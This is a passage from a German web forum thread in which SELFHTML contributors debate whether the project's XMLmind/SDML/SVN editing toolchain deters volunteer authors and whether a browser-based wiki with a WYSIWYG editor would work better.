              Ich hab' einen Kommentar verfasst, aber irgendwie rührt sich da nix :D

              1. Hallo suit,

                Ich hab' einen Kommentar verfasst, aber irgendwie rührt sich da nix :D

                Caching des Weblogs, drück mal auf reload. ;-)

                Viele Grüße,
                Christian

                1. Caching des Weblogs, drück mal auf reload. ;-)

                  Hatte ich ein paar mal gemacht, es stand zwar immer "2 Kommentare" aber der Server wollte mir nix neues liefern, aber nun gehts :D

    4. Lieber Thomas,

      Aber wenn ich jetzt noch lese: "Ein Wiki legt die Hemmschwelle wesentlich niedriger, als der gegenwärtige Aufwand mit der im Moment notwendigen Softwareinstallation und Einarbeitung in das momentane Redaktionssystem." kann ich nur noch mit dem Kopf schütteln.

      ja, das sind meine Worte.

      Wer sich dafür wirklich interessiert (hat), kann mittlerweile wissen, dass der Aufwand, redaktionell mitzuarbeiten extrem gering ist. Man muss nur eine einzige Software auf seinem rechner installieren. Man muss nichts über Wikisyntax oder diverse Wikidialekte wissen, man muss keine (Wiki oder wie auch immer geartete) Strukturen kennen und erleren. Man kann fast nur noch einfach darauf losschreiben. _Wenn_ man denn will.

      Du denkst als Entwickler. Ich manchmal auch, hier aber nicht. Ich will (wirklich!) schreiben, und zwar dann, wenn ich Zeit dazu habe. Ich habe selten Zeit dazu. Und wenn, dann will ich mich irgendwo anmelden und dann _sofort_ schreiben. Ist das nicht möglich, dann schreibe ich eben nicht.

      Natürlich erfordert der Umgang mit dem Editor eine Einlernphase, aber das gibt es sehr wohl bei einem Wiki oder sonstigen redaktionellen Tool auch.

      Da ich bereits in diversen Wikis geschrieben habe (nicht nur MediaWiki), ist dieser Aspekt für mich kein Thema. Wiki-Syntax ist OK. Den Editor habe ich heruntergeladen, das Add-on installiert. Aber einen SVN-Client habe ich nicht. Ich habe mich in Versionierungssysteme noch nicht eingearbeitet - wozu auch? Ich wollte doch etwas über HTML schreiben... und nicht über Versionierungssysteme!

      Nein, das Problem ist nicht die redaktionelle Software. Das Problem ist, dass wir zusagen bekommen, die nicht eingehalten werden.

      Wie soll ich denn meine Zusage einhalten, wenn ich echte Probleme habe, die Zeit aufzubringen, mir erst einmal die in ihrem Umfang für Hobby-Entwickler nicht unerheblichen Vorbereitungen zu treffen? Auch wenn ich eigene Projekte entwickle, so ist doch meine Herangehensweise noch immer eine sehr laienhafte (eben _ohne_ Versionierungssystem, auch wenn das zum Haareraufen sein mag). Und dann ist da eben eine Hemmschwelle.

      Bitte mache nicht den Fehler (der auch mir immer wieder unterläuft), dass Du von Deiner Position aus andere zu verstehen versuchst, die eben eine andere Position haben. Ich bitte Dich zu akzeptieren, dass viele Hilfswillige eben _keine_ Hemmschwelle gebrauchen können, wenn sie denn ihre Zusage einhalten sollen.

      Und wenn Du nun findest, dass ich mich anstelle "wie's Kind", dann darfst Du das gerne. Da stehe ich d'rüber. Aber wie bereits erwähnt: Ich will schreiben, und das im Browser, nachdem ich mich irgendwo eingelogged habe. So ist das heute für Unbedarfte auch anderswo, warum nicht hier?

      Ist das so schwer zu verstehen?

      Das Problem ist, dass wir zu wenige Menschen haben die schreiben wollen.

      Ja, das muss für Euch so aussehen. Aber wie die Diskussion hier zeigt, steht ihr sehr isoliert auf einer Seite und eine breitere (Forums-)Gemeinschaft auf einer anderen. Publizieren im Web geht heute sehr einfach: Anmelden, schreiben. Siehst Du da irgendwo den Punkt "installieren"? Irgendwo? Trage diesem Umstand Rechnung, wenn Du "die Masse" erreichen willst!

      So können wir auch nicht viel ausrichten und klarerweise, wir es auch immer schwieriger uns gegenseitig zu Motivieren.

      Dann ändert Euer Herantreten! Genau das wurde hier ja schon öfters auf unterschiedlichste Art und Weise gesagt!

      Eine "kleine Hundertschaft" an "Hilfs-Devs" ... *träum*. Ja das wäre wirklich klasse! Aber wo findet man diese kleine Hundertschaft?

      Indem Du ein System zur Verfügung stellst, das das Potential dieses Forums nutzt! Du brauchst Leute, die "gelegentlich" kleinste Ergänzungen beitragen. Diese winzigen Content-Schnippsel werden in der Masse tatsächlich etwas bewirken. Und dass das (laut "Wiki-Desaster") eben seine Zeit braucht, bis das einigermaßen funktioniert und die Aktiven sich eingerichtet haben, sollte klar sein. Ich meine mich dunkel zu erinnern, dass der Wiki-Versuch relativ schnell wieder aufgegeben wurde. Habt doch mal den Mut, mit einem gaaaanz langen Atem das nocheinmal zu versuchen!

      Hier unter den Wiki- und Softwarediskutanten leider nicht.

      Ich behaupte: Vorurteil!

      An wem soll man Arbeit delegieren, wenn man keine Mitschreiber hat, die wirklich schreiben wollen? Welches Team soll man reorganiseren, wenn man nur wenige hat, die bereits tun was sie können?

      Du willst eine unbekannte Masse mobilisieren. Mit Deinem SDML-Addon wird Dir das nicht gelingen.

      Da wundert mich wirklich nicht, wenn Nutzer der Doku sich fragen ob das Projekt schon gestorben sei.

      Das ist nicht wirklich Euer Problem. Ihr habt euch Software-mäßig in eine Sackgasse bugsiert und wollt die Inkompatibilität Eurer Wünsche/Lösung mit der "dummen Masse da draußen" nicht einsehen. Zumindest sehe ich das so.

      Daher mein und unser Aussage zum Thema: wir wollen nicht über die Software diskutieren, auch mit Redakteuren nicht. Was wir brauchen sind Menschen, die zu mehr bereit sind, als zusagen zu geben.

      Elfenbeinturm!

      Was wir brauchen sind Menschen, die bereit sind ihre Zeit und Wissen mit Redaktionsarbeit zu verknüpfen und tatsächlich am Inhalt von SELFHTML mitarbeiten wollen.

      Und gleichzeitig legt ihr diesen Willigen alle verfügbaren Steine in den Weg, die ihr nur aufbringen könnt. Schade.

      Liebe Grüße,

      Felix Riesterer.

      --
      ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
      1. Nachtrag

        Natürlich erfordert der Umgang mit dem Editor eine Einlernphase

        ich habe mir das Teil installiert, um laut Anleitung im Redaktionsteil meine Vorbereitungen zu treffen, damit ich meiner Zusage nachkommen kann. Nachdem ich unterwegs beim Installieren aufgegeben habe, deinstallierte ich den Editor wieder. Die Deinstallation lief nicht rückstandslos. Das hat mich dann sehr geärgert!

        Wenn ihr wieder einen Wiki-Versuch startet, werde ich wieder mitarbeiten. Eine andere Lösung ist mir auch recht, solange sie Browser-basiert ist und ich nach dem Anmelden sofort arbeiten kann.

        Liebe Grüße,

        Felix Riesterer.

        --
        ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
        1. habe d'ehre Felix

          Nachdem ich unterwegs beim Installieren aufgegeben habe, deinstallierte ich den Editor wieder.

          dito, Editor und SVN gelöscht.

          An die Verantwortlichen:

          die Datei sdml_catalog.xml hab ich jetzt gefunden und zwar

          ~/Library/Applicaton Support/XMLmind/XMLEditor4/addon/sdml/sdml_catalog.xml

          Vielleicht solltet ihr erst mal Eure Doku zu dem Tool korrigieren, dann darf man gerne über mangelnde Unterstützung meckern.

          übrigens OS X 10.6.2

          Servus

      2. Du willst eine unbekannte Masse mobilisieren. Mit Deinem SDML-Addon wird Dir das nicht gelingen.

        Danke für deinen "Warentest". Mich erstaunt es in der Tat, dass eine Plattform über Webtechnologie es nicht versteht, diese sinnvoll einzusetzen.

        mfg Beat

        --
        ><o(((°>           ><o(((°>
           <°)))o><                     ><o(((°>o
        Der Valigator leibt diese Fische
      3. Ich schließe mich vollumfänglich an.

        Gestern habe ich bereits angemerkt, dass ich mir den Editor ansehen werde - ich hab' allerdings gestern Abend nur zum Lesen der Doku gebracht.

        Hätte ich niht gesagt, ich würde es mir ansehen, würde mich das von einer entsprechenden Mitarbeit abhalten.

        Einen Artikel in MediaWiki zu übertragen (habe ich ausprobiert) dauert mit etaws Erfahrung in der Wiki-Sytnax etawa 30 Minuten - ich vermag nicht zu berurteilen wie lange das bei der SDML-Sache dauert.

        Aber ich werds heute Nachmittag ausprobieren.

        1. Aber ich werds heute Nachmittag ausprobieren.

          Ist sich leider erst heute ausgegangen, ich steige bei "Konfiguration Anpassen" aus.

          Ich hab' keinen SVN-Client und möchte auch keinen installieren - ich hatte bisher noch keine Gelegenheit mich in Versionskontrollsysteme einzuarbeiten und auch nie das bedürfnis dies zu tun, da sämtliche CMS die ich verwende eine eigene Versionierung mitbringen.

          Danach habe ich noch versucht einen bestehenden Artikel in SDML zu übertragen - aber das ist müßig und dauert "ewig". Das ging bei der Wikidot-Variante wesentlich leichter von der Hand (in MediaWiki nochmal schneller, auch da hab' ich es schon probiert).

          Auch wenn sicher jetzt jemand mit "Ausrede" kommt - aber für mich ist SDML eine zu hohe Einstiegshürde - ich kann mir durchaus vorstellen, dass das auch anderen so geht.

          1. Hallo,

            Danach habe ich noch versucht einen bestehenden Artikel in SDML zu übertragen - aber das ist müßig und dauert "ewig". Das ging bei der Wikidot-Variante wesentlich leichter von der Hand (in MediaWiki nochmal schneller, auch da hab' ich es schon probiert).

            Auch wenn sicher jetzt jemand mit "Ausrede" kommt - aber für mich ist SDML eine zu hohe Einstiegshürde - ich kann mir durchaus vorstellen, dass das auch anderen so geht.

            Ich verstehe deine Argumente schon. Dennoch muss ich dich Fragen, ob du in einem Wik/CMS/etc. gleich nach 3 Minuten vollkommen flüssig arbeiten konntest, oder doch einige Tage und Übung dazu gebraucht hast?

            Mir wird gesagt, dass ich alles zu sehr als der Entwickler sehe, aber dabei erwähnt ihr nicht, dass ihr selbt alles als "erfahrene" Wiki-Anwender sieht, dem ein Wiki-Syntax eben geläufig ist.

            Ich kenne sehr viele Menschen, die wirklich viel schreiben, sich aber nicht mit einem Wiki auskennen und genau so Argumentieren wie Felix oder du beim Editor machen: "ich kann im Word so viel schneller schreiben, das wiki ding nervt mich nur, das ist kacke" etc. Ich konnte nur ein oder zwei davon überzeugen das wirklich zu versuchen und sich doch etwas Zeit für das erlernen geben und nehmen. Bei den anderen konnte ich nichts ausrichten, weil der innere Widerstand zu große war/ist.

            Grüße
            Thomas

            1. Ich verstehe deine Argumente schon. Dennoch muss ich dich Fragen, ob du in einem Wik/CMS/etc. gleich nach 3 Minuten vollkommen flüssig arbeiten konntest, oder doch einige Tage und Übung dazu gebraucht hast?

              Nein, das nicht - aber mir geht es da wie den meisten anderen menschen: Die Lernkurve muss steil sein, dann abflachen und aus dem Sinn sein. Es muss aber dahinter noch unendlich Möglichkeiten geben.

              TYPO3 und MediaWiki bieten im Hintergrund so viel dass ich jedes mal über Features erstaunt bin - es gibt praktisch alles fertig und man muss kaum selbst etwas programmieren, man kann sich dann wirklich auf wesentlichere dinge konzentrieren.

              Bis man MediaWiki oder TYPO3 vollständig verstanden hat, vergehen Jahre - bis man loslegen kann und ein paar Sätze ergänzt oder einen rechtschreibfehler korrigieren kann < 3 Minuten. Durch learning by doing gehts dann flott weiter.

              Mir wird gesagt, dass ich alles zu sehr als der Entwickler sehe, aber dabei erwähnt ihr nicht, dass ihr selbt alles als "erfahrene" Wiki-Anwender sieht, dem ein Wiki-Syntax eben geläufig ist.

              Ja, das ist mir durchaus bewusst - es braucht ein paar leute die sich um die Spezialdinge kümmern (z.B. Vorlagenprogrammierung, das ist nicht unbedingt jedermanns sache). Das ist auch eines der größten Probleme der Wikipedia - MediaWiki ist vom technischen Hintergrund ziemlich ausgereift - die Usability ist aber eine Frechheit. Obwohl es z.B. ein TinyMCE-Plugin gäbe, wird es nicht vewendet, weil schon zu viele Sonderlösungen exsiteren und die Wikipediainhalte nicht mehr Kontextneutral sind - das hat auch Tim Weber (Levitation) bemängelt, dass das sein größtes Problem ist.

              Aber wenn man für SELFHTML plant, ein solches System zu verwenden und den Benutzerkreis beschränkt, ist des wesentlich einfacher kontrollierbar und überschaubarer als bei einem riesigen System.

              Ich kenne sehr viele Menschen, die wirklich viel schreiben, sich aber nicht mit einem Wiki auskennen und genau so Argumentieren wie Felix oder du beim Editor machen: "ich kann im Word so viel schneller schreiben, das wiki ding nervt mich nur, das ist kacke"

              Darum: macht nicht den Fehler den die Wikipedia macht - baut einen WYSIWYG-Editor ein - wer mit sowas nicht zurecht kommt, dem ist nicht zu helfen. Mit dem Ding kommt jeder Blogger zurecht, wenns dann nicht klappt liegts nicht mehr an der Software ;)

              1. Hallo suit,

                Darum: macht nicht den Fehler den die Wikipedia macht - baut einen WYSIWYG-Editor ein - wer mit sowas nicht zurecht kommt, dem ist nicht zu helfen. Mit dem Ding kommt jeder Blogger zurecht, wenns dann nicht klappt liegts nicht mehr an der Software ;)

                Blöde Frage: Funktioniert der auch mit der aktuellsten MW-Version (1.15.1)? Die von Dir verlinkte Seite macht ja nicht wirklich Hoffnung, dass das Teil die zuverlässigste Software ist...

                Viele Grüße,
                Christian

                1. Blöde Frage: Funktioniert der auch mit der aktuellsten MW-Version (1.15.1)? Die von Dir verlinkte Seite macht ja nicht wirklich Hoffnung, dass das Teil die zuverlässigste Software ist...

                  lt. Doku funktioniert das Ding defintiv mit 1.5.7 - die ist aber schon etwas antik.

                  Ich wollte das nur als Beispiel nehmen - der Grund warum die dinger nicht tatkräftig entwickelt werden: niemand verwendet sie. Bei der WM-Foundation steckt man grade wieder irre viel Zeit in eine imho unsinnige usability-offensive die eigentlich nur ein paar Buttons verschönert :)

                  1. Hallo suit,

                    lt. Doku funktioniert das Ding defintiv mit 1.5.7 - die ist aber schon etwas antik.

                    Als Server-Admin will ich die aktuellste Version installiert haben. Oder zumindest eine relativ neue. Wenn das Teil bloß mit 1.15.x nicht liefe, mit 1.14.x aber schon, dann wäre das ja noch ok, könnte man drüber reden - aber 1.5? Nix für ungut, aber das ist sicherheitstechnisch gesehen ein Albtraum.

                    der Grund warum die dinger nicht tatkräftig entwickelt werden: niemand verwendet sie.

                    Das liest sich jetzt aber nicht unbedingt wie ein gutes Argument *für* so einen Editor. ;-)

                    Viele Grüße,
                    Christian

                    1. Lieber Christian,

                      Das liest sich jetzt aber nicht unbedingt wie ein gutes Argument *für* so einen Editor. ;-)

                      was ist denn dieser TinyMCE für eine Version? Ich habe mit dem Teil einige Erfahrung... wenn's nur daran liegt einen "custom plugin" anzupassen, dann bekomme ich das relativ schnell hin - ansonsten kann man einfach den neuesten TinyMCE "drüberinstallieren" und fertig.

                      Liebe Grüße,

                      Felix Riesterer.

                      --
                      ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
                      1. Hallo,

                        Das liest sich jetzt aber nicht unbedingt wie ein gutes Argument *für* so einen Editor. ;-)

                        was ist denn dieser TinyMCE für eine Version? Ich habe mit dem Teil einige Erfahrung... wenn's nur daran liegt einen "custom plugin" anzupassen, dann bekomme ich das relativ schnell hin - ansonsten kann man einfach den neuesten TinyMCE "drüberinstallieren" und fertig.

                        Nein, Du verstehst das falsch: Es geht hier um das Plugin zur Integration von TinyMCE mit MediaWiki. Da MediaWiki nicht mit HTML sondern mit Wiki-Syntax arbeitet, muss es irgend einen "Klebstoff" geben zwischen einen Standard-WYSIWYG-Editor und dem Wiki. Und um den geht es hier.

                        Viele Grüße,
                        Christian

                        1. Nein, Du verstehst das falsch: Es geht hier um das Plugin zur Integration von TinyMCE mit MediaWiki. Da MediaWiki nicht mit HTML sondern mit Wiki-Syntax arbeitet, muss es irgend einen "Klebstoff" geben zwischen einen Standard-WYSIWYG-Editor und dem Wiki. Und um den geht es hier.

                          Um TinyMCE in MediaWiki einzubinden benötigt man etwa 4 Zeilen JavaScript - mehr tut die Extension eigentlich nicht.

                          Syntaktisch hat sich afaik auch nichts geändert an der WikiSyntax - ansich sollte das Plugin noch funktionieren, aber das müsste man ausprobieren.

                          1. Hallo suit,

                            Nein, Du verstehst das falsch: Es geht hier um das Plugin zur Integration von TinyMCE mit MediaWiki. Da MediaWiki nicht mit HTML sondern mit Wiki-Syntax arbeitet, muss es irgend einen "Klebstoff" geben zwischen einen Standard-WYSIWYG-Editor und dem Wiki. Und um den geht es hier.

                            Um TinyMCE in MediaWiki einzubinden benötigt man etwa 4 Zeilen JavaScript - mehr tut die Extension eigentlich nicht.

                            Öhm... http://www.mediawiki.org/wiki/Extension_talk:TinyMCE_MW

                            Wenn ich mir das noch in Verbindung mit einigen Templates vorstelle, die die Arbeit erleichtern sollen (vorgefertige Icons für Browsersupport usw.)... Ne, ich denke lieber nicht dran.

                            Viele Grüße,
                            Christian

                            1. Öhm... http://www.mediawiki.org/wiki/Extension_talk:TinyMCE_MW

                              Oha - da hat jemand ordentlich gepfuscht, da gabs schom mal bessere die rein mit JavaScript funktioniert haben, als TinyMCE-Plugin.

                              Wenn ich mir das noch in Verbindung mit einigen Templates vorstelle, die die Arbeit erleichtern sollen (vorgefertige Icons für Browsersupport usw.)... Ne, ich denke lieber nicht dran.

                              Unter diesem Gesichtspunkt: ja.

      4. Hallo Felix

        … Du brauchst Leute, die "gelegentlich" kleinste Ergänzungen beitragen.

        Solche Leute gibt es bereits. Diese stehen „Gewehr bei Fuß” und warten darauf, das endlich etwas da ist, dass ergänzt oder berichtigt werden kann.

        Nein, es fehlen keine Leute, die kleinste Ergänzungen leisten, es fehlen erstmal Autoren, die genug freie Zeit haben, Kapitel zu schreiben, die dann die Grundlage für diese kleinsten Ergänzungen wären.

        Als ich damals zu 8.1 ins Redaktionsteam geholt wurde, sagte ich, dass ich keine kompletten oder neuen Artikel zu schreiben werde.
        Dann schaute ich in den Bugtracker, hatte meist binnen weniger Minuten, die aktuellen Fehlermeldung geprüft, die, die ich beseitigen konnte, dann im HTML-Quelltext berichtigt und das Ganze dann auch im SVN aktualisiert.
        In der Zeit, in der ich damals fertig war, ist jetzt XML-Mind gerade erst gestartet.
        Bei meiner letzten Rechnerneuinstallation habe ich die Redaktionstools nicht installiert, wozu auch, seit ewiger Zeit fand ich sowieso nichts für mich zu tun.

        Allerdings halte ich auch nichts von Wikis. Für meine Arbeitsweise war die alte statische HTML-Variante optimal.

        Das ist nicht wirklich Euer Problem. Ihr habt euch Software-mäßig in eine Sackgasse bugsiert und wollt die Inkompatibilität Eurer Wünsche/Lösung mit der "dummen Masse da draußen" nicht einsehen. Zumindest sehe ich das so.

        Meiner Meinung nach ist es eher unerheblich, ob SELFHTML als HTML, SDML oder Wiki vorliegt, ob es mit dem Lieblingseditor des Redakteurs, mittels XML-Mind und Plugin oder online bearbeitet wird.

        Das Problem ist Version 9!
        Das Problem besteht darin, dass irgendwann die Entscheidung fiel, statt Version 8.x.x weiterzuentwickeln, unbedingt eine komplett neue schreiben zu wollen.

        (Mir stellt es sich so dar, dass das Geschwafel von Version 9 teilweise bereits dazu geführt hat, dass so lange Zeit verging, bis endlich 8.1 in Angriff genommen wurde und dann auch die Arbeit an den weiteren 8.x.xer Versionen behindert.)

        Auf Wiederlesen
        Detlef

        --
        - Wissen ist gut
        - Können ist besser
        - aber das Beste und Interessanteste ist der Weg dahin!
      5. Moin,

        Was wir brauchen sind Menschen, die bereit sind ihre Zeit und Wissen mit Redaktionsarbeit zu verknüpfen und tatsächlich am Inhalt von SELFHTML mitarbeiten wollen.

        Und gleichzeitig legt ihr diesen Willigen alle verfügbaren Steine in den Weg, die ihr nur aufbringen könnt. Schade.

        Volle Zustimmung.

        An Thomas' Analyse ist richtig, dass es kein technisches Problem gibt. Und auch die Lösung des Problems ist keine technische.

        Das in den letzten drei Jahre versuchte bzw. gelebte Modell hat nachweislich nicht funktioniert.

        Es spricht viel dafür, neue Wege zu gehen, einen neuen Anfang zu versuchen. Mit einer neuen Idee, wie man Leute motiviert, lockt, bindet. Es spricht nichts dafür, so weiter zu machen wie bisher. Dafür muss man, darf man keine technische Diskussion führen. Man muss nicht mal eine Diskussion führen, man muss was tun.

        Grüße

        Swen

      6. Hallo,

        Wer sich dafür wirklich interessiert (hat),[...]_Wenn_ man denn will.

        Du denkst als Entwickler. Ich manchmal auch, hier aber nicht. Ich will (wirklich!) schreiben, und zwar dann, wenn ich Zeit dazu habe. Ich habe selten Zeit dazu. Und wenn, dann will ich mich irgendwo anmelden und dann _sofort_ schreiben. Ist das nicht möglich, dann schreibe ich eben nicht.

        Weiss du wie mir das  (deine Antwort und die Antworten auf sie) jetzt hier vorkommt?

        Ihr sucht einfach Entschuldigungen, warum ihr nicht zu schreiben braucht.

        Wenn ein Wiki gäbe würde ich schreiben. Dann kommt es wie schon mal gekommen ist: wenn es ein anderes Wiki wäre, wäre der Syntax leichter. Dann wird kommen, wenn es ein weiteres andere Wiki wäre, wären die Strukturen besser anzulegen. Danach wird kommen, wenn nicht dies wäre, dann wäre das viel besser. Danach kommt: wenn ich nicht von meinem Android-Handy schreiben kann, mache ich nicht mit und danach kommt: wenn ihr keine SMS-Schnittstelle bietet, dann kann ich ja nicht mitmachen.

        Wenn du 5 Minuten Zeit hast, hast du Zeit für ein Posting in Forum. Ich maße mir an - weil ich selbst genügend geschrieben habe, bzw. gerade schreibe, zu wissen, was man mit 5 oder 10 Minuten Zeit schaft.

        Wenn ihr eine Enschuldigung braucht um nicht zu schreiben, dann findet ihr auch welche. Aber bitte schiebt diesmal den Schwarzen Peter nicht uns zu. Das funktioniert nicht mehr.

        Natürlich erfordert der Umgang mit dem Editor eine Einlernphase, aber das gibt es sehr wohl bei einem Wiki oder sonstigen redaktionellen Tool auch.

        Da ich bereits in diversen Wikis geschrieben habe (nicht nur MediaWiki), ist dieser Aspekt für mich kein Thema. Wiki-Syntax ist OK.

        Besten, aber geht es allen anderen so die schreiben wollen, dass sie Wiki-Syntax im ff. haben?
        Kannst du so etwas aus dem ff?

        =====  =====  ======
           Inputs     Output
        ------------  ------
          A      B    A or B
        =====  =====  ======
        False  False  False
        True   False  True
        False  True   True
        True   True   True
        =====  =====  ======

        Das ist nichtmal ein weit hergeholtes Bsp., denn Tabellen gibts genügend im SELFHTML.

        »»Den Editor habe ich heruntergeladen, das Add-on installiert. Aber einen SVN-Client habe ich nicht. Ich habe mich in Versionierungssysteme noch nicht eingearbeitet - wozu auch? Ich wollte doch etwas über HTML schreiben... und nicht über Versionierungssysteme!

        Nein, das Problem ist nicht die redaktionelle Software. Das Problem ist, dass wir zusagen bekommen, die nicht eingehalten werden.

        Wie soll ich denn meine Zusage einhalten, wenn ich echte Probleme habe, die Zeit aufzubringen, mir erst einmal die in ihrem Umfang für Hobby-Entwickler nicht unerheblichen Vorbereitungen zu treffen? Auch wenn ich eigene Projekte entwickle, so ist doch meine Herangehensweise noch immer eine sehr laienhafte (eben _ohne_ Versionierungssystem, auch wenn das zum Haareraufen sein mag). Und dann ist da eben eine Hemmschwelle.

        Ich bin so frei und zitiere hier etwas aus einer Antwort die ich bekam.
        --------------
        Was die "Wiki-oder-nicht-Wiki"-Diskussion anbelangt: Meine Erfahrung mit dem Abteilungswiki meiner ehemaligen Abteilung, mit dem ****wiki, mit dem ***-Wiki, das wir jetzt demnächst auch zur Verfügung stellen, ist die, dass das Schreiben von längeren Texten praktisch unmöglich ist, und zwar einerseits wegen der Wiki-Syntax, die zwar relativ einfach zu verstehen ist, die man aber auswendig können sollte, wenn man Fließtexte schreiben möchte und andererseits wegen der Art und Weise der Eingabe. Wenn es sich irgendwie vermeiden läßt, arbeite ich möglichst nicht mit einem Wiki. Um ehrlich zu sein: Ich habe mich immer für nicht mehr als einen interessierten Laien gehalten. Dass es Leute gibt, die mit diesem Editor nicht zurechtkommen, wundert mich jetzt. Sicher muß ich bei der Bedienung hier und da nochmal nachsehen, aber im Großen und Ganzen komme ich phantastisch zurecht. Ich bin wirklich baß erstaunt, dass es Leute gibt, die ein Wiki da vorziehen. Aber nun gut, ich bin wahrscheinlich anders als die anderen Kinder, kann gut sein.
        ----------------

        Bitte mache nicht den Fehler (der auch mir immer wieder unterläuft), dass Du von Deiner Position aus andere zu verstehen versuchst,

        Das habe ich keineswegs gemacht.

        Das Problem ist, dass wir zu wenige Menschen haben die schreiben wollen.

        Ja, das muss für Euch so aussehen. Aber wie die Diskussion hier zeigt, steht ihr sehr isoliert auf einer Seite und eine breitere (Forums-)Gemeinschaft auf einer anderen.

        Das sehe ich aber nicht wirklich so. Es gibt hier einige, die ihre (negeative) Meinung kundtun, darunter auch welche die das Projekt schon vor sehr langer Zeit für sich hingeschmissen haben. Das halte ich bei allem Freundschaft nicht für die Breite masse.

        Publizieren im Web geht heute sehr einfach: Anmelden, schreiben. Siehst Du da irgendwo den Punkt "installieren"? Irgendwo? Trage diesem Umstand Rechnung, wenn Du "die Masse" erreichen willst!

        Egal, wie leicht die Plattform zu bedienen ist, das Schreiben von Texten ist Arbeit, schwere Arbeit, einsame Arbeit. Da hilft auch kein easy access. Fürchte ich.

        Hier unter den Wiki- und Softwarediskutanten leider nicht.
        Ich behaupte: Vorurteil!

        Das ist es leider nicht. Nehme ich dich als Beispiel: in der zeit, die du deine Antwort geschreiben hast, hättest du dir auch den Editor installieren können. Das ist auch der Punkt: wenn man etwas nicht will, findet man genügend Argumente, es erst gar nicht auf einen ersthaften Versuch ankommen zu lassen.

        Oh, es ist nicht so, dass wir komplett gegen einen neuerlichen Wiki-Versuch wären!
        Aber es gibt derzeit nicht nur die 4 oder 5 "mach-mal-ein-wiki-dann-schreibe-ich-am-fließband" Stimmen aus diesem Thread, auch wenn sie bisher nicht öffentlich ihre Meinung kundgetan habe.

        Du willst eine unbekannte Masse mobilisieren. Mit Deinem SDML-Addon wird Dir das nicht gelingen.

        Um den Editor geht es mir gar nicht. Ich kenne Wayne. Es geht darum ob man schreiben will oder nicht. Und ich beharre auf die Tatsache dass 5 Minuten nicht ausreichend sind um das als Schreiben zu bezeichnen. Egal wo man das macht. (Es sei denn man meint, man sei ein Vögerlein und zwitschern muss).

        Da wundert mich wirklich nicht, wenn Nutzer der Doku sich fragen ob das Projekt schon gestorben sei.

        Das ist nicht wirklich Euer Problem. Ihr habt euch Software-mäßig in eine Sackgasse bugsiert und wollt die Inkompatibilität Eurer Wünsche/Lösung mit der "dummen Masse da draußen" nicht einsehen. Zumindest sehe ich das so.

        Freilich, wie gesagt: Argumente gegen etwas, was man nicht will findet man immer. Warum versuchtst du es nicht ernsthaft? 3 Minuten und schon aufgeben? Wird es im Wiki auch so sein, weil dir dies oder das dort nicht passt? Was hat SELFHTML dann gewonnen? Was haben wir dann gewonnen? Die Erkentnis, dass es doch am Willen und nicht an der Software schreitert?

        Grüße
        Thomas

        1. Kannst du so etwas aus dem ff?

          =====  =====  ======
             Inputs     Output
          ------------  ------
            A      B    A or B
          =====  =====  ======
          False  False  False
          True   False  True
          False  True   True
          True   True   True
          =====  =====  ======

          In Mediawiki-Syntax? Ja. Aber wozu?

          1 Klick und Mediawiki erstellt mir das hier:

          {| class="wikitable" border="1"
          |-
          ! Überschrift 1
          ! Überschrift 2
          ! Überschrift 3
          |-
          | Zeile 1, Zelle 1
          | Zeile 1, Zelle 2

          Zeile 1, Zelle 3
          Zeile 2, Zelle 1
          Zeile 2, Zelle 2
          Zeile 2, Zelle 3
          }

          Ich mache daraus binnen einer halben Minute das hier.

          Eine semantisch korrekte, entspreched gestylte Tabelle.

          Das ist nichtmal ein weit hergeholtes Bsp., denn Tabellen gibts genügend im SELFHTML.

          Nein, ist es sicher nicht - es zeigt nur deutlich dass ihr euch wahrscheinlich nichtmal ansatzweise mit Wikis beschäftigt habt - auch damals nicht.

          Die Grundbausteine um einen Artikel zu schreiben lassen sich in MediaWiki-Syntax in einer halben Seite erklären.

          Zudem - man muss die MediaWiki-Sytax nicht kennen - wie hier im Forum gibts ein paar nette Buttons die die Formatierung erleichtern - es gibt sogar ein TinyMCE-Plugin welches MediaWiki-Syntax erzeugt.

          Man kann sogar blankes HTML verwenden, wenn das mehr beliebt - der Haken ist halt, dass die Inhalte dann nicht mehr Kontextneutral vorliegen. Aber einen Parser zu schreiben der <h3>Foo</h3> nach ===h3=== parst ist nun wirklich nicht schwierig.

          Egal, wie leicht die Plattform zu bedienen ist, das Schreiben von Texten ist Arbeit, schwere Arbeit, einsame Arbeit. Da hilft auch kein easy access. Fürchte ich.

          Hast du praktische Erfahrungen hierzu? Nein? Ich weiß aus Erfahrung dass bei einem einfachen System die Arbeit von allein kommt. Sei es nun ein neues CMS für eine Kundenwebseite oder eben Wordpress statt einem Proprietären, sehr Wordpress-Ähnlichen CMS auf Rebell.at

          Hier unter den Wiki- und Softwarediskutanten leider nicht.
          Ich behaupte: Vorurteil!

          Das ist es leider nicht. Nehme ich dich als Beispiel: in der zeit, die du deine Antwort geschreiben hast, hättest du dir auch den Editor installieren können. Das ist auch der Punkt: wenn man etwas nicht will, findet man genügend Argumente, es erst gar nicht auf einen ersthaften Versuch ankommen zu lassen.

          Schwache Argumenation.

          Um den Editor geht es mir gar nicht. Ich kenne Wayne. Es geht darum ob man schreiben will oder nicht.

          Freilich, wie gesagt: Argumente gegen etwas, was man nicht will findet man immer. Warum versuchtst du es nicht ernsthaft? 3 Minuten und schon aufgeben? Wird es im Wiki auch so sein, weil dir dies oder das dort nicht passt?

          MediaWiki (um es wieder als Beispiel zu nennen) ist verbreitet und man "kennt es schon". Sei es von Wikia, weil man ab und an in der MemoryAlpha mitschreibt oder eben von der Wikipedia. Die Einstiegshürde ist minimal.

          Was hat SELFHTML dann gewonnen? Was haben wir dann gewonnen? Die Erkentnis, dass es doch am Willen und nicht an der Software schreitert?

          Ohne es ernsthaft ausprobiert zu haben hättet ihr zumindest die Bestätigung.

          Man muss allerdings ins Feld führen, dass ich in erster Linie die aktuelle SELFHTML-Version 1:1 in ein Wiki transportieren würde - von dieser Basis kann man weiterarbeiten.

          Komplett neu anfangen ist die zweite große Hürde.

        2. Hallo,

          Freilich, wie gesagt: Argumente gegen etwas, was man nicht will findet man immer. Warum versuchtst du es nicht ernsthaft? 3 Minuten und schon aufgeben? Wird es im Wiki auch so sein, weil dir dies oder das dort nicht passt? Was hat SELFHTML dann gewonnen? Was haben wir dann gewonnen? Die Erkentnis, dass es doch am Willen und nicht an der Software schreitert?

